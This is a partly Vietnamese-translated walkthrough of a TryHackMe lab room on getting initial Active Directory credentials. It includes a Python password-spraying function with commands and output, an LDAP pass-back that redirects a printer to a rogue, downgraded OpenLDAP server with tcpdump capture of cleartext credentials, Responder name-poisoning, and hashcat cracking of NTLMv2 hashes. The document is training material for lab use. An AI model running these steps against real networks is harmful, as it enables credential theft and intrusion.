**Breaching Active Directory**

Contents

[**I.** **Introduction** 1](#_Toc176473615)

[**II.** **OSINT and Phishing** 1](#_Toc176473616)

[**1.** **OSINT** 1](#_Toc176473617)

[**2.** **Phising** 2](#_Toc176473618)

[**III.** **NTLM and NetNTLM** 2](#_Toc176473619)

[**1.** **NTLM and NetNTLM** 2](#_Toc176473620)

[**2.** **Brute-force Login Attacks** 3](#_Toc176473621)

[**3.** **Password Spraying** 5](#_Toc176473622)

[**IV.** **LDAP** 5](#_Toc176473623)

[**1.** **LDAP** 5](#_Toc176473624)

[**2.** **LDAP Pass-back Attacks** 6](#_Toc176473625)

[**3.** **Performing an LDAP Pass-back** 7](#_Toc176473626)

[**4.** **Hosting a Rouge LDAP Server** 8](#_Toc176473627)

[**5.** **Capturing LDAP Credentials (thực hiện đủ từ mục 3 đến 5 nhé)** 11](#_Toc176473628)

[**V.** **Authentication Relays** 12](#_Toc176473629)

[**1.** **Server Message Block** 12](#_Toc176473630)

[**2.** **LLMNR, NBT-NS, and WPAD** 13](#_Toc176473631)

[**3.** **Intercepting NetNTLM Challenge** 13](#_Toc176473632)

[**4.** **Relaying the Challenge** 15](#_Toc176473633)

[**VI.** **Microsoft Deployment Toolkit** 15](#_Toc176473634)

[MDT and SCCM 16](#_Toc176473635)

[PXE Boot 16](#_Toc176473636)

[PXE Boot Image Retrieval 17](#_Toc176473637)

[Recovering Credentials from a PXE Boot Image 19](#_Toc176473638)

[**VII.** **Configuration Files** 20](#_Toc176473639)

[**Configuration File Credentials** 20](#_Toc176473640)

[**VIII.** **Conclusion** 22](#_Toc176473641)

1. **Introduction**

Trước khi chúng tôi có thể khai thác các cấu hình sai của AD để leo thang đặc quyền, di chuyển ngang và thực hiện mục tiêu, trước tiên bạn cần có quyền truy cập ban đầu. Bạn cần có được bộ thông tin xác thực AD hợp lệ ban đầu. Do số lượng dịch vụ và tính năng AD, bề mặt tấn công để có được bộ thông tin xác thực AD ban đầu thường rất đáng kể. Trong phòng này, chúng ta sẽ thảo luận về một số con đường, nhưng đây không phải là danh sách đầy đủ.

Khi tìm kiếm bộ thông tin xác thực đầu tiên đó, chúng tôi không tập trung vào các quyền liên quan đến tài khoản; do đó, ngay cả một tài khoản có đặc quyền thấp cũng đủ. Chúng tôi chỉ đang tìm cách xác thực với AD, cho phép chúng tôi thực hiện việc liệt kê thêm về chính AD.

1. **OSINT and Phishing**

Hai phương pháp phổ biến để có được quyền truy cập vào bộ thông tin xác thực AD đầu tiên đó là Open Source Intelligence (OSINT) and Phishing. Chúng tôi sẽ chỉ đề cập ngắn gọn về hai phương pháp ở đây vì chúng đã được đề cập sâu hơn trong các phần khác.

1. **OSINT**

OSINT được sử dụng để khám phá thông tin đã được tiết lộ công khai. Về thông tin xác thực AD, điều này có thể xảy ra vì một số lý do, chẳng hạn như:

* Người dùng đặt câu hỏi trên các diễn đàn công khai như  [Stack Overflow](https://stackoverflow.com/) nhưng tiết lộ thông tin nhạy cảm như thông tin xác thực của họ trong câu hỏi.
* Các nhà phát triển tải tập lệnh lên các dịch vụ như  [Github](https://github.com/) với thông tin xác thực được mã hóa cứng.
* Thông tin xác thực bị tiết lộ trong các lần vi phạm trước đây kể từ khi nhân viên sử dụng tài khoản công việc của họ để đăng ký các trang web bên ngoài khác. Các trang web như [HaveIBeenPwned](https://haveibeenpwned.com/) và  [DeHashed](https://www.dehashed.com/) cung cấp nền tảng tuyệt vời để xác định xem thông tin của ai đó, chẳng hạn như email công việc, có từng liên quan đến một vụ vi phạm dữ liệu được biết đến công khai hay không.

Bằng cách sử dụng kỹ thuật OSINT, có thể khôi phục thông tin xác thực được tiết lộ công khai. Nếu may mắn tìm được thông tin xác thực, chúng ta vẫn cần tìm cách kiểm tra xem chúng có hợp lệ hay không vì thông tin OSINT có thể đã lỗi thời. Trong Nhiệm vụ 3, chúng ta sẽ nói về NTLM Authenticated Services (Dịch vụ được xác thực NTLM), dịch vụ này có thể cung cấp một phương pháp tuyệt vời để kiểm tra thông tin xác thực để xem liệu chúng có còn hợp lệ hay không.

A detailed room on Red Team OSINT can be found [here.](https://tryhackme.com/jr/redteamrecon)

1. **Phising**

Lừa đảo là một phương pháp tuyệt vời khác để vi phạm AD. Lừa đảo thường lôi kéo người dùng cung cấp thông tin xác thực của họ trên một trang web độc hại hoặc yêu cầu họ chạy một ứng dụng cụ thể sẽ cài đặt Trojan truy cập từ xa (RAT) trong nền. Đây là một phương pháp phổ biến vì RAT sẽ thực thi trong ngữ cảnh của người dùng, ngay lập tức cho phép bạn mạo danh tài khoản AD của người dùng đó. Đây là lý do tại sao lừa đảo là một chủ đề lớn đối với cả đội Đỏ và Đội Xanh.

A detailed room on phishing can be found [here.](https://tryhackme.com/module/phishing)

1. **NTLM and NetNTLM**
2. **NTLM and NetNTLM**

New Technology LAN Manager (Trình quản lý mạng LAN công nghệ mới) (NTLM) là bộ giao thức bảo mật được sử dụng để xác thực danh tính của người dùng trong AD. NTLM có thể được sử dụng để xác thực bằng cách sử dụng sơ đồ dựa trên phản hồi thử thách được gọi là NetNTLM. Cơ chế xác thực này được sử dụng nhiều bởi các dịch vụ trên mạng. Tuy nhiên, các dịch vụ sử dụng NetNTLM cũng có thể bị lộ trên Internet. Sau đây là một số ví dụ phổ biến:

* Internally-hosted Exchange (Mail) servers that expose an Outlook Web App (OWA) login portal.
* Remote Desktop Protocol (RDP) service of a server being exposed to the internet.
* Exposed VPN endpoints that were integrated with AD.
* Web applications that are internet-facing and make use of NetNTLM.

NetNTLM, còn thường được gọi là Xác thực Windows hoặc chỉ Xác thực NTLM, cho phép ứng dụng đóng vai trò trung gian giữa máy khách và AD. Tất cả tài liệu xác thực được chuyển tiếp đến Domain Controller dưới dạng thử thách và nếu hoàn thành thành công, ứng dụng sẽ xác thực người dùng.

Điều này có nghĩa là ứng dụng đang xác thực thay mặt người dùng và không xác thực người dùng trực tiếp trên chính ứng dụng đó. Điều này ngăn ứng dụng lưu trữ thông tin xác thực AD cái mà vốn chỉ được lưu trữ trên Domain Controller. Quá trình này được thể hiện trong sơ đồ dưới đây:

A screenshot of a computer

Description automatically generated

1. **Brute-force Login Attacks**

Như đã đề cập trong Nhiệm vụ 2, các dịch vụ bị lộ này cung cấp một vị trí tuyệt vời để kiểm tra thông tin xác thực được phát hiện bằng các phương tiện khác. Tuy nhiên, các dịch vụ này cũng có thể được sử dụng trực tiếp để cố gắng khôi phục một tập hợp thông tin xác thực AD hợp lệ ban đầu. Có lẽ chúng ta có thể thử sử dụng chúng cho các cuộc tấn công brute force nếu chúng ta khôi phục thông tin như địa chỉ email hợp lệ trong quá trình trinh sát nhóm đỏ ban đầu của mình.

Vì hầu hết các môi trường AD đều có khóa tài khoản được cấu hình, chúng ta sẽ không thể chạy một cuộc tấn công brute-force đầy đủ. Thay vào đó, chúng ta cần thực hiện một cuộc tấn công phun mật khẩu. Thay vì thử nhiều mật khẩu khác nhau, có thể kích hoạt cơ chế khóa tài khoản, chúng ta chọn và sử dụng một mật khẩu và cố gắng xác thực bằng tất cả tên người dùng đã có. Tuy nhiên, cần lưu ý rằng các loại tấn công này có thể bị phát hiện do số lượng lần thử xác thực không thành công mà chúng sẽ tạo ra.

Bạn đã được cung cấp danh sách tên người dùng được phát hiện trong quá trình diễn tập OSINT của nhóm đỏ. Diễn tập OSINT cũng chỉ ra mật khẩu đăng nhập ban đầu của tổ chức, có vẻ là "Changeme123". Mặc dù người dùng nên luôn thay đổi mật khẩu ban đầu của mình, chúng tôi biết rằng người dùng thường quên. Chúng tôi sẽ sử dụng một tập lệnh được phát triển tùy chỉnh để dàn dựng một cuộc tấn công bằng mật khẩu vào ứng dụng web được lưu trữ tại URL này: [http://ntlmauth.za.tryhackme.com](http://ntlmauth.za.tryhackme.com/) .

Khi điều hướng đến URL, chúng ta có thể thấy nó nhắc chúng ta nhập thông tin xác thực Windows:

A screenshot of a login form

Description automatically generated

Chúng ta có thể sử dụng các công cụ như [Hydra](https://github.com/vanhauser-thc/thc-hydra) để hỗ trợ cho cuộc tấn công phun mật khẩu. Tuy nhiên, thường thì tốt hơn là tự mình viết kịch bản cho các loại tấn công này, cho phép bạn kiểm soát quy trình tốt hơn. Một tập lệnh python cơ bản đã được cung cấp trong các tệp tác vụ có thể được sử dụng cho cuộc tấn công phun mật khẩu. Hàm sau đây là thành phần chính của tập lệnh:

def password\_spray(self, password, url):

print ("[\*] Starting passwords spray attack using the following password: " + password)

#Reset valid credential counter

count = 0

#Iterate through all of the possible usernames

for user in self.users:

#Make a request to the website and attempt Windows Authentication

response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))

#Read status code of response to determine if authentication was successful

if (response.status\_code == self.HTTP\_AUTH\_SUCCEED\_CODE):

print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)

count += 1

continue

if (self.verbose):

if (response.status\_code == self.HTTP\_AUTH\_FAILED\_CODE):

print ("[-] Failed login with Username: " + user)

print ("[\*] Password spray attack completed, " + str(count) + " valid credential pairs found")

Hàm này lấy mật khẩu được đề xuất của chúng tôi và URL mà chúng tôi đang nhắm mục tiêu làm đầu vào và cố gắng xác thực với URL bằng từng tên người dùng trong tệp văn bản. Bằng cách theo dõi sự khác biệt trong mã phản hồi HTTP từ ứng dụng, chúng tôi có thể xác định cặp thông tin xác thực có hợp lệ hay không. Nếu cặp thông tin xác thực hợp lệ, ứng dụng sẽ phản hồi bằng mã 200 HTTP (OK). Nếu cặp thông tin xác thực không hợp lệ, ứng dụng sẽ trả về mã 401 HTTP (Không được phép).

1. **Password Spraying**

If you are using the AttackBox, the password spraying script and usernames textfile is provided under the **/root/Rooms/BreachingAD/task3/** directory. We can run the script using the following command:

**python ntlm\_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>**

We provide the following values for each of the parameters:

* **<userfile>** - Textfile containing our usernames - *"usernames.txt"*
* **<fqdn>** - Fully qualified domain name associated with the organisation that we are attacking - *"za.tryhackme.com"*
* **<password>** - The password we want to use for our spraying attack - *"Changeme123"*
* **<attackurl>** - The URL of the application that supports Windows Authentication - *"http://ntlmauth.za.tryhackme.com"*

Using these parameters, we should get a few valid credentials pairs from our password spraying attack.

NTLMPassword Spraying Attack

**[thm@thm]$ python ntlm\_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com/**

**[\*] Starting passwords spray attack using the following password: Changeme123**

**[-] Failed login with Username: anthony.reynolds**

**[-] Failed login with Username: henry.taylor**

**[...]**

**[+] Valid credential pair found! Username: [...] Password: Changeme123**

**[-] Failed login with Username: louise.talbot**

**[...]**

**[\*] Password spray attack completed, [X] valid credential pairs found**

Using a combination of OSINT and NetNTLM password spraying, we now have our first valid credentials pairs that could be used to enumerate AD further!

1. **LDAP**
2. **LDAP**

Another method of AD authentication that applications can use is Lightweight Directory Access Protocol (LDAP) authentication. LDAP authentication is similar to NTLM authentication. However, with LDAP authentication, the application directly verifies the user's credentials. The application has a pair of AD credentials that it can use first to query LDAP and then verify the AD user's credentials.

LDAP authentication is a popular mechanism with third-party (non-Microsoft) applications that integrate with AD. These include applications and systems such as:

* Gitlab
* Jenkins
* Custom-developed web applications
* Printers
* VPNs

Nếu bất kỳ ứng dụng hoặc dịch vụ nào trong số này bị lộ trên internet, thì loại tấn công tương tự như những ứng dụng hoặc dịch vụ được lợi dụng nhằm vào các hệ thống được xác thực NTLM có thể được sử dụng. Tuy nhiên, do dịch vụ sử dụng xác thực LDAP yêu cầu một bộ thông tin xác thực AD nên nó sẽ mở ra các con đường tấn công bổ sung. Về bản chất, chúng tôi có thể cố gắng khôi phục thông tin xác thực AD được dịch vụ sử dụng để có được quyền truy cập xác thực vào AD. Quá trình xác thực thông qua LDAP được hiển thị bên dưới:

A computer screen with white text and green text

Description automatically generated with medium confidence

Nếu bạn có thể có được chỗ đứng trên đúng máy chủ, chẳng hạn như máy chủ Gitlab, thì việc đó có thể đơn giản như đọc các tệp cấu hình để khôi phục các thông tin đăng nhập AD này. Các thông tin xác thực này thường được lưu trữ dưới dạng văn bản thuần túy trong các tệp cấu hình vì mô hình bảo mật dựa vào việc giữ an toàn cho vị trí và tệp cấu hình lưu trữ thay vì nội dung của nó. Các tệp cấu hình sẽ được đề cập sâu hơn trong Nhiệm vụ 7.

1. **LDAP Pass-back Attacks**

However, one other very interesting attack can be performed against LDAP authentication mechanisms, called an LDAP Pass-back attack. This is a common attack against (nhằm vào) network devices, such as printers, when you have gained initial access (quyền truy cập ban đầu) to the internal network, such as plugging in a rogue (đểu cáng, giả) device in a boardroom (phòng họp).

LDAP Pass-back attacks can be performed when we gain access to a device's configuration where the LDAP parameters are specified (được chỉ định). This can be, for example, the web interface of a network printer. Usually, the credentials for these interfaces are kept to the default ones, such as **admin:admin** or **admin:password**. Here, we won't be able to directly extract (trích xuất) the LDAP credentials since the password is usually hidden. However, we can alter (thay đổi) the LDAP configuration, such as the IP or hostname of the LDAP server. In an LDAP Pass-back attack, we can modify this IP to our IP and then test the LDAP configuration, which will force the device to attempt LDAP authentication to our rogue device. We can intercept (chặn) this authentication attempt to recover the LDAP credentials.

1. **Performing an LDAP Pass-back**

There is a network printer in this network where the administration website does not even require credentials. Navigate (chuyển hướng) to <http://printer.za.tryhackme.com/settings.aspx> to find the settings page of the printer:

A screenshot of a computer

Description automatically generated

Using browser inspection (sự giám sát), we can also verify (xác minh) that the printer website was at least secure enough to not just send the LDAP password back to the browser (ít nhất đủ an toàn để không gửi lại mật khẩu LDAP cho trình duyệt):



So we have the username, but not the password. However, when we press test settings, we can see that an authentication request is made to the domain controller to test the LDAP credentials. Let's try to exploit this to get the printer to connect to us instead, which would disclose (để lộ) the credentials. To do this, let's use a simple Netcat listener to test if we can get the printer to connect to us. Since the default port of LDAP is 389, we can use the following command:

**nc -lvp 389**

Note that if you use the AttackBox, the you should first disable slapd using **service slapd stop**. Then, we can alter the Server input box on the web application to point to our IP and press Test Settings.

**Your IP will be your VPN IP and will either be a 10.50.x.x IP or 10.51.x.x IP.  You can use ip a to list all interfaces. Please make sure to use this as your IP, otherwise you will not receive a connection back. Please also make note of the interface for this IP, since you will need it later in the task.**

You should see that we get a connection back, but there is a slight problem:

Netcat LDAP Listener

**[thm@thm]$ nc -lvp 389**

**listening on [any] 389 ...**

**10.10.10.201: inverse host lookup failed: Unknown host**

**connect to [10.10.10.55] from (UNKNOWN) [10.10.10.201] 49765**

**0?DC?;**

**?**

**?x**

**objectclass0?supportedCapabilities**

You may require more than one try to receive a connection back but it should respond within 5 seconds. The **supportedCapabilities**response tells us we have a problem. Essentially (về bản chất), before the printer sends over the credentials, it is trying to negotiate the LDAP authentication method details. It will use this negotiation to select the most secure authentication method that both the printer and the LDAP server support. If the authentication method is too secure, the credentials will not be transmitted in cleartext. With some authentication methods, the credentials will not be transmitted over the network at all! So we can't just use normal Netcat to harvest (thu hoạch) the credentials. We will need to create a rogue LDAP server and configure it insecurely to ensure the credentials are sent in plaintext.

1. **Hosting a Rouge LDAP Server**

There are several ways to host a rogue LDAP server, but we will use OpenLDAP for this example. If you are using the AttackBox, OpenLDAP has already been installed for you. However, if you are using your own attack machine, you will need to install OpenLDAP using the following command:

**sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd**

You will however have to configure your own rogue LDAP server on the AttackBox as well. We will start by reconfiguring the LDAP server using the following command:

**sudo dpkg-reconfigure -p low slapd**

Make sure to press <No> when requested if you want to skip server configuration:

A screenshot of a computer

Description automatically generated

For the DNS domain name, you want to provide our target domain, which is **za.tryhackme.com**:

A screenshot of a computer

Description automatically generated

Use this same name for the Organisation name as well:

A screenshot of a computer

Description automatically generated

Provide any Administrator password:

A screenshot of a computer

Description automatically generated

Select MDB as the LDAP database to use:

A screenshot of a computer

Description automatically generated

For the last two options, ensure the database is not removed when purged:

A screen shot of a computer

Description automatically generated

Move old database files before a new one is created:

A screenshot of a computer

Description automatically generated

Before using the rogue LDAP server, we need to make it vulnerable by downgrading (hạ cấp) the supported authentication mechanisms (các cơ chế xác thực được hỗ trợ). We want to ensure that our LDAP server only supports PLAIN and LOGIN authentication methods. To do this, we need to create a new ldif file, called with the following content:

olcSaslSecProps.ldif

**#olcSaslSecProps.ldif**

**dn: cn=config**

**replace: olcSaslSecProps**

**olcSaslSecProps: noanonymous,minssf=0,passcred**

The file has the following properties:

* **olcSaslSecProps:** Specifies the SASL security properties
* **noanonymous:** Disables (vô hiệu hóa) mechanisms that support anonymous login
* **minssf:** Specifies the minimum acceptable security strength with 0, meaning no protection.

Now we can use the ldif file to patch our LDAP server using the following:

**sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart**

We can verify that our rogue LDAP server's configuration has been applied using the following command (**Note**: If you are using Kali, you may not receive any output, however the configuration should have worked and you can continue with the next steps):

LDAP search to verify supported authentication mechanisms

**[thm@thm]$ ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms**

**dn:**

**supportedSASLMechanisms: PLAIN**

**supportedSASLMechanisms: LOGIN**

1. **Capturing LDAP Credentials (thực hiện đủ từ mục 3 đến 5 nhé)**

Our rogue LDAP server has now been configured. When we click the "Test Settings" at <http://printer.za.tryhackme.com/settings.aspx>, the authentication will occur in clear text. If you configured your rogue LDAP server correctly and it is downgrading the communication, you will receive the following error: "This distinguished name contains invalid syntax". If you receive this error, you can use a tcpdump to capture the credentials using the following command:

TCPDump

**[thm@thm]$ sudo tcpdump -SX -i breachad tcp port 389**

**tcpdump: verbose output suppressed, use -v[v]... for full protocol decode**

**listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes**

**10:41:52.979933 IP 10.10.10.201.49834 > 10.10.10.57.ldap: Flags [P.], seq 4245946075:4245946151, ack 1113052386, win 8212, length 76**

**0x0000: 4500 0074 b08c 4000 8006 20e2 0a0a 0ac9 E..t..@.........**

**0x0010: 0a0a 0a39 c2aa 0185 fd13 fedb 4257 d4e2 ...9........BW..**

**0x0020: 5018 2014 1382 0000 3084 0000 0046 0201 P.......0....F..**

**0x0030: 0263 8400 0000 3d04 000a 0100 0a01 0002 .c....=.........**

**0x0040: 0100 0201 7801 0100 870b 6f62 6a65 6374 ....x.....object**

**0x0050: 636c 6173 7330 8400 0000 1904 1773 7570 class0.......sup**

**0x0060: 706f 7274 6564 5341 534c 4d65 6368 616e portedSASLMechan**

**0x0070: 6973 6d73 isms**

**10:41:52.979938 IP 10.10.10.57.ldap > 10.10.10.201.49834: Flags [.], ack 4245946151, win 502, length 0**

**0x0000: 4500 0028 247d 4000 4006 ed3d 0a0a 0a39 E..($}@.@..=...9**

**0x0010: 0a0a 0ac9 0185 c2aa 4257 d4e2 fd13 ff27 ........BW.....'**

**0x0020: 5010 01f6 2930 0000 P...)0..**

**10:41:52.980162 IP 10.10.10.57.ldap > 10.10.10.201.49834: Flags [P.], seq 1113052386:1113052440, ack 4245946151, win 502, length 54**

**0x0000: 4500 005e 247e 4000 4006 ed06 0a0a 0a39 E..^$~@.@......9**

**0x0010: 0a0a 0ac9 0185 c2aa 4257 d4e2 fd13 ff27 ........BW.....'**

**0x0020: 5018 01f6 2966 0000 3034 0201 0264 2f04 P...)f..04...d/.**

**0x0030: 0030 2b30 2904 1773 7570 706f 7274 6564 .0+0)..supported**

**0x0040: 5341 534c 4d65 6368 616e 6973 6d73 310e SASLMechanisms1.**

**0x0050: 0405 504c 4149 4e04 054c 4f47 494e ..PLAIN..LOGIN**

**[....]**

**10:41:52.987145 IP 10.10.10.201.49835 > 10.10.10.57.ldap: Flags [.], ack 3088612909, win 8212, length 0**

**0x0000: 4500 0028 b092 4000 8006 2128 0a0a 0ac9 E..(..@...!(....**

**0x0010: 0a0a 0a39 c2ab 0185 8b05 d64a b818 7e2d ...9.......J..~-**

**0x0020: 5010 2014 0ae4 0000 0000 0000 0000 P.............**

**10:41:52.989165 IP 10.10.10.201.49835 > 10.10.10.57.ldap: Flags [P.], seq 2332415562:2332415627, ack 3088612909, win 8212, length 65**

**0x0000: 4500 0069 b093 4000 8006 20e6 0a0a 0ac9 E..i..@.........**

**0x0010: 0a0a 0a39 c2ab 0185 8b05 d64a b818 7e2d ...9.......J..~-**

**0x0020: 5018 2014 3afe 0000 3084 0000 003b 0201 P...:...0....;..**

**0x0030: 0560 8400 0000 3202 0102 0418 7a61 2e74 .`....2.....za.t**

**0x0040: 7279 6861 636b 6d65 2e63 6f6d 5c73 7663 ryhackme.com\svc**

**0x0050: 4c44 4150 8013 7472 7968 6163 6b6d 656c LDAP..password11**

Also, note that **password11** is an example. The password for your service will be different. You may have to press the "Test Settings" button a couple of times before the TCPdump will return data since we are performing the attack over a VPN connection.

Now we have another set of valid AD credentials! By using an LDAP pass-back attack and downgrading the supported authentication mechanism, we could intercept the credentials in cleartext.



1. **Authentication Relays**

Continuing with attacks that can be staged (có thể được dàn dựng) from our rogue device, we will now look at attacks against broader network authentication protocols (bây giờ chúng tôi sẽ xem xét các cuộc tấn công chống lại các giao thức xác thực mạng rộng hơn). In Windows networks, there are a significant amount of services talking to each other, allowing users to make use of the services provided by the network.

Các dịch vụ này phải sử dụng các phương thức xác thực tích hợp để xác minh danh tính của các kết nối đến. Trong Nhiệm vụ 2, chúng ta đã khám phá Xác thực NTLM được sử dụng trên ứng dụng web. Trong nhiệm vụ này, chúng ta sẽ đi sâu hơn một chút để xem cách xác thực này trông như thế nào từ góc độ của mạng. Tuy nhiên, đối với nhiệm vụ này, chúng tôi sẽ tập trung vào xác thực NetNTLM được SMB sử dụng.

1. **Server Message Block**

Giao thức Server Message Block (SMB) cho phép máy khách (như máy trạm) giao tiếp với máy chủ (như chia sẻ tệp). Trong các mạng sử dụng Microsoft AD, SMB quản lý mọi thứ từ chia sẻ tệp giữa các mạng đến quản trị từ xa. Ngay cả cảnh báo "hết giấy" mà máy tính của bạn nhận được khi bạn cố gắng in một tài liệu cũng là công việc của giao thức SMB .

Tuy nhiên, tính bảo mật của các phiên bản trước của giao thức SMB được coi là không đủ. Một số lỗ hổng và khai thác đã được phát hiện có thể được sử dụng để khôi phục thông tin xác thực hoặc thậm chí thực thi mã trên các thiết bị. Mặc dù một số lỗ hổng này đã được giải quyết trong các phiên bản mới hơn của giao thức, nhưng các tổ chức thường không áp dụng các phiên bản mới hơn vì các hệ thống cũ không hỗ trợ chúng. Chúng ta sẽ xem xét hai khai thác khác nhau để xác thực NetNTLM bằng SMB :

* Vì NTLM Challenges có thể bị chặn, chúng ta có thể sử dụng các kỹ thuật bẻ khóa ngoại tuyến để khôi phục mật khẩu liên quan đến NTLM Challenge. Tuy nhiên, quá trình bẻ khóa này chậm hơn đáng kể so với việc bẻ khóa trực tiếp các hàm băm NTLM .
* Chúng ta có thể sử dụng thiết bị giả mạo để dàn dựng một cuộc tấn công trung gian, chuyển tiếp xác thực SMB giữa máy khách và máy chủ, điều này sẽ cung cấp cho chúng ta phiên xác thực đang hoạt động và quyền truy cập vào máy chủ mục tiêu.

1. **LLMNR, NBT-NS, and WPAD**

Trong nhiệm vụ này, chúng ta sẽ xem xét một chút về xác thực xảy ra trong quá trình sử dụng SMB. Chúng ta sẽ sử dụng Responder để cố gắng chặn thử thách NetNTLM để bẻ khóa nó. Thường có rất nhiều thử thách như vậy trên mạng. Một số giải pháp bảo mật thậm chí còn thực hiện quét toàn bộ phạm vi IP để khôi phục thông tin từ máy chủ. Đôi khi do bản ghi DNS cũ , những thử thách xác thực này có thể tấn công thiết bị độc hại của bạn thay vì máy chủ dự định.

Responder cho phép chúng ta thực hiện các cuộc tấn công Man-in-the-Middle bằng cách đầu độc các phản hồi trong quá trình xác thực NetNTLM, đánh lừa máy khách nói chuyện với bạn thay vì máy chủ thực tế mà họ muốn kết nối đến. Trên mạng LAN thực, Responder sẽ cố gắng đầu độc bất kỳ yêu cầu Link-Local Multicast Name Resolution (LLMNR), NetBIOS Name Service (NBT-NS) và Web Proxy Auto-Discovery (WPAD) nào được phát hiện. Trên các mạng Windows lớn, các giao thức này cho phép máy chủ thực hiện giải pháp DNS cục bộ của riêng chúng cho tất cả các máy chủ trên cùng một mạng cục bộ. Thay vì làm quá tải các tài nguyên mạng như máy chủ DNS , trước tiên các máy chủ có thể cố gắng xác định xem máy chủ mà chúng đang tìm kiếm có nằm trên cùng một mạng cục bộ hay không bằng cách gửi các yêu cầu LLMNR và xem liệu có máy chủ nào phản hồi hay không. NBT-NS là giao thức tiền thân của LLMNR và các yêu cầu WPAD được thực hiện để cố gắng tìm một proxy cho các kết nối HTTP (các) trong tương lai .

Vì các giao thức này dựa vào các yêu cầu được phát trên mạng cục bộ, nên thiết bị độc hại của chúng ta cũng sẽ nhận được các yêu cầu này. Thông thường, các yêu cầu này sẽ chỉ bị loại bỏ vì chúng không dành cho máy chủ của chúng ta. Tuy nhiên, Responder sẽ chủ động lắng nghe các yêu cầu và gửi các phản hồi bị đầu độc, thông báo cho máy chủ yêu cầu rằng IP của chúng ta được liên kết với tên máy chủ được yêu cầu. Bằng cách đầu độc các yêu cầu này, Responder cố gắng buộc máy khách kết nối với AttackBox của chúng ta. Tương tự như vậy, nó bắt đầu lưu trữ một số máy chủ như SMB, HTTP , SQL và các máy chủ khác để nắm bắt các yêu cầu này và buộc xác thực.

1. **Intercepting NetNTLM Challenge**

Một điều cần lưu ý là Responder về cơ bản cố gắng giành chiến thắng trong tình huống chạy đua bằng cách đầu độc các kết nối để đảm bảo rằng bạn chặn được kết nối. Điều này có nghĩa là Responder thường bị giới hạn trong việc đầu độc các thử thách xác thực trên mạng cục bộ. Vì chúng ta được kết nối qua VPN với mạng, nên chúng ta sẽ chỉ có thể đầu độc các thử thách xác thực xảy ra trên mạng VPN này . Vì lý do này, chúng tôi đã mô phỏng một yêu cầu xác thực có thể bị đầu độc chạy sau mỗi 30 phút. Điều này có nghĩa là bạn có thể phải đợi một chút trước khi có thể chặn thử thách và phản hồi NetNTLM.

Mặc dù Responder có thể chặn và đầu độc nhiều yêu cầu xác thực hơn khi được thực hiện từ thiết bị độc hại của chúng tôi được kết nối với mạng LAN của một tổ chức, nhưng điều quan trọng là phải hiểu rằng hành vi này có thể gây gián đoạn và do đó bị phát hiện. Bằng cách đầu độc các yêu cầu xác thực, các nỗ lực xác thực mạng thông thường sẽ thất bại, nghĩa là người dùng và dịch vụ sẽ không kết nối với máy chủ và chia sẻ mà họ định kết nối. Hãy ghi nhớ điều này khi sử dụng Responder trong đánh giá bảo mật.

Responder đã được cài đặt trên AttackBox. Tuy nhiên, nếu bạn không sử dụng AttackBox, bạn có thể tải xuống và cài đặt nó từ repo này:  <https://github.com/lgandx/Responder> . Chúng tôi sẽ thiết lập Responder chạy trên giao diện được kết nối với VPN :

**sudo responder -I breachad**

Nếu bạn đang sử dụng AttackBox, không phải tất cả các dịch vụ Responder đều có thể khởi động vì các dịch vụ khác đã sử dụng các cổng đó. Tuy nhiên, điều này sẽ không ảnh hưởng đến tác vụ này. Responder hiện sẽ lắng nghe bất kỳ yêu cầu LLMNR , NBT-NS hoặc WPAD nào đang đến. Chúng tôi sẽ để Responder chạy một chút trên mạng LAN thực. Tuy nhiên, trong trường hợp của chúng tôi, chúng tôi phải mô phỏng quá trình đầu độc này bằng cách để một trong các máy chủ cố gắng xác thực với các máy trên VPN . Để Responder chạy một chút (trung bình 10 phút, hít thở không khí trong lành!), và bạn sẽ nhận được kết nối SMBv2 mà Responder có thể sử dụng để dụ và trích xuất phản hồi NTLMv2-SSP. Nó sẽ trông giống như thế này:

NTLMTấn công phun mật khẩu

**[+] Listening for events...**

**[SMBv2] NTLMv2-SSP Client : <Client IP>**

**[SMBv2] NTLMv2-SSP Username : ZA\<Service Account Username>**

**[SMBv2] NTLMv2-SSP Hash : <Service Account Username>::ZA:<NTLMv2-SSP Hash>**

Nếu chúng ta sử dụng thiết bị giả mạo của mình, có lẽ chúng ta sẽ chạy Responder trong một thời gian khá dài, thu thập một số phản hồi. Khi đã có một vài phản hồi, chúng ta có thể bắt đầu thực hiện một số lần bẻ khóa ngoại tuyến các phản hồi với hy vọng khôi phục mật khẩu NTLM liên quan của chúng . Nếu các tài khoản có mật khẩu yếu được cấu hình, chúng ta có nhiều khả năng bẻ khóa thành công. Sao chép Băm NTLMv2-SSP vào một tệp văn bản. Sau đó, chúng ta sẽ sử dụng danh sách mật khẩu được cung cấp trong các tệp có thể tải xuống cho tác vụ này và Hashcat để cố gắng bẻ khóa băm bằng lệnh sau:

**hashcat -m 5600 <hash file> <password file> --force**

Tệp mật khẩu đã được cung cấp cho bạn trên AttackBox trong thư **/root/Rooms/BreachingAD/task5/**mục hoặc dưới dạng tệp tác vụ có thể tải xuống. Chúng tôi sử dụng hashtype 5600, tương ứng với NTLMv2-SSP cho hashcat. Nếu bạn sử dụng máy của riêng mình, trước tiên bạn sẽ phải cài đặt [Hashcat](https://hashcat.net/hashcat/) .

Bất kỳ hàm băm nào mà chúng tôi có thể bẻ khóa sẽ cung cấp cho chúng tôi thông tin xác thực AD về vụ xâm nhập của chúng tôi!

1. **Relaying the Challenge**

In some instances, however, we can take this a step further by trying to relay the challenge instead of just capturing it directly. This is a little bit more difficult to do without prior knowledge of the accounts since this attack depends on the permissions of the associated account. We need a couple of things to play in our favour:

* SMB Signing should either be disabled or enabled but not enforced. When we perform a relay, we make minor changes to the request to pass it along. If SMB signing is enabled, we won't be able to forge the message signature, meaning the server would reject it.
* The associated account needs the relevant permissions on the server to access the requested resources. Ideally, we are looking to relay the challenge and response of an account with administrative privileges over the server, as this would allow us to gain a foothold on the host.
* Since we technically don't yet have an AD foothold, some guesswork is involved into what accounts will have permissions on which hosts. If we had already breached AD, we could perform some initial enumeration first, which is usually the case.

